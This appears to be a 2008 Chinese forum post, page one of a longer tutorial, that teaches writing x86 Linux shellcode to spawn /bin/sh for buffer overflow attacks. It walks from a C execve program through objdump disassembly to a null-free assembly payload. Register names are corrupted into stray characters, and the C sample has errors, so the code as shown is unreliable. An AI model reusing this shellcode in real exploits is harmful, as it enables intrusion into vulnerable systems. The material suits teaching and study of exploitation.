迟钝 發表於 2008-10-8 19:03:01

缓冲区溢出的解密方法

如何执行 /bin/sh?
<br />
<br />在C中,spawn出一个shell的代码可能象这样:
<br />
<br />shell.c :
<br />
<br />#include
<br />
<br />void main()
<br />
<br />{
<br />
<br />char *shell;
<br />
<br />shell = &quot;/bin/sh&quot;;
<br />
<br />shell = NULL;
<br />
<br />execve(shell, shell, NULL);
<br />
<br /> }
<br />
<br />$ make shell
<br />
<br />cc -W -Wall -pedantic -g shell.c -o shell
<br />
<br />$ ./shell
<br />
<br />bash$
<br />
<br />如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。
<br />
<br />目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!
<br />
<br />这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。
<br />
<br />因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。
<br />
<br />首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:
<br />
<br />$ gcc -static -g -o shell shell.c
<br />
<br />$ objdump -d shell | grep \: -A 12
<br />
<br />0804ca10 :
<br />
<br />804ca10: 53 pushl 離
<br />
<br />804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
<br />
<br />804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
<br />
<br />804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
<br />
<br />804ca1d: b8 0b 00 00 00 movl $0xb,陎
<br />
<br />804ca22: cd 80 int $0x80
<br />
<br />804ca24: 5b popl 離
<br />
<br />804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎
<br />
<br />804ca2a: 0f 83 00 02 00 jae 804cc30
<br />
<br />804ca2f: 00
<br />
<br />804ca30: c3 ret
<br />
<br />804ca31: 90 nop
<br />
<br />$
<br />
<br />让我们一步一步地分析这个系统调用:
<br />
<br />记住,在我们的main()函数里,我们写了代码:
<br />
<br />execve(shell, shell, NULL)
<br />
<br />我们传递了:
<br />
<br />·字符串”/bin/sh”的地址
<br />
<br />·NULL结尾数组的地址
<br />
<br />·NULL(实际上它是环境地址)
<br />
<br />此处,在main里面:
<br />
<br />$ objdump -d shell | grep \: -A 17
<br />
<br />08048124 :
<br />
<br />8048124: 55 pushl 雙
<br />
<br />8048125: 89 e5 movl %esp,雙
<br />
<br />8048127: 83 ec 08 subl $0x8,%esp
<br />
<br />804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)
<br />
<br />804812f: 05 08
<br />
<br />8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)
<br />
<br />8048136: 00 00
<br />
<br />8048138: 6a 00 pushl $0x0
<br />
<br />804813a: 8d 45 f8 leal 0xfffffff8(雙),陎
<br />
<br />804813d: 50 pushl 陎
<br />
<br />804813e: 8b 45 f8 movl 0xfffffff8(雙),陎
<br />
<br />8048141: 50 pushl 陎
<br />
<br />8048142: e8 c9 48 00 00 call 804ca10
<br />
<br />8048147: 83 c4 0c addl $0xc,%esp
<br />
<br />804814a: c9 leave
<br />
<br />804814b: c3 ret
<br />
<br />804814c: 90 nop
<br />
<br />在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。
<br />
<br />因此,如果我们回到__execve:
<br />
<br />我们拷贝NULL字节到EDX寄存器,
<br />
<br />804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
<br />
<br />我们拷贝以NULL结尾数组的地址到ECX寄存器,
<br />
<br />804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
<br />
<br />我们拷贝字符串&quot;/bin/sh&quot;的地址到EBX寄存器
<br />
<br />804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
<br />
<br />我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:
<br />
<br />804ca1d: b8 0b 00 00 00 movl $0xb,陎
<br />
<br />接着变成核模式:
<br />
<br />804ca22: cd 80 int $0x80
<br />
<br />我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:
<br />
<br />xorl 陎, 陎
<br />
<br />pushl 陎
<br />
<br />pushl $0x68732f2f
<br />
<br />pushl $0x6e69622f
<br />
<br />movl %esp,離
<br />
<br />pushl 陎
<br />
<br />pushl 離
<br />
<br />movl %esp,靫
<br />
<br />cdql
<br />
<br />movb $0x0b,%al
<br />
<br />int $0x80
<br />
<br />让我解释一下上面的指令:
<br />
<br />如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。
<br />
<br />xorl 陎, 陎
<br />
<br />接着我们把NULL推入堆栈:
<br />
<br />pushl 陎
<br />
<br />我们把字符串”//sh”推入堆栈,
<br />
<br />2f is /
<br />
<br />2f is /
<br />
<br />73 is s
<br />
<br />68 is h
<br />
<br />pushl $0x68732f2f
<br />
<br />我们把字符串”/bin”推入堆栈:
<br />
<br />2f is /
<br />
<br />62 is b
<br />
<br />69 is i
<br />
<br />6e is n
<br />
<br />pushl $0x6e69622f
<br />
<br />可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。
<br />
<br />movl %esp,離
<br />
<br />接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。
<br />
<br />pushl 陎
<br />
<br />接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell:
<br />
<br />pushl 離
<br />
<br />现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:
<br />
<br />movl %esp,靫
<br />
<br />我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:
<br />
<br />cdql
<br />
<br />我们设定EAX 为0xb,这是系统调用表中的系统调用id。
<br />
<br />movb $0x0b,%al
<br />
<br />接着,我们转换到核模式:
<br />
<br />int 0x80
<br />
<br />之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……

<br />










                                                <div class="cupage">上一页<strong>1</strong>2 下一页 阅读全文</div>
頁: [1]
查看完整版本: 缓冲区溢出的解密方法